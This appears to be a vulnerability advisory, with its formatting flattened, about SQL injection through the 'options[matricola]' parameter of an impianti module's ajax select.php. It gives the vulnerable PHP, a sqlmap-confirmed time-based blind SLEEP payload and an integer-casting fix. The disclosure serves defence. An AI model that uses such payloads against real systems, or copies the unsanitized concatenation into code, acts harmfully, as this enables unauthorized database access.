case 'componenti':
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$ids = array_map('intval', explode(',', $impianti));
$where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}
Summary
A SQL Injection vulnerability exists in the
ajax_select.phpendpoint when handling thecomponentioperation. An authenticated attacker can inject malicious SQL code through theoptions[matricola]parameter.Proof of Concept
Vulnerable Code
File:
modules/impianti/ajax/select.php:122-124Data Flow
$_GET['options']['matricola']→$superselect['matricola']IN()clause without sanitizationExploit
Manual PoC (Time-based Blind SQLi):
SQLMap Exploitation:
SQLMap Output:
Impact
Remediation
Cast values to integers before using in SQL:
Before:
After:
Credit
Discovered by: Łukasz Rybak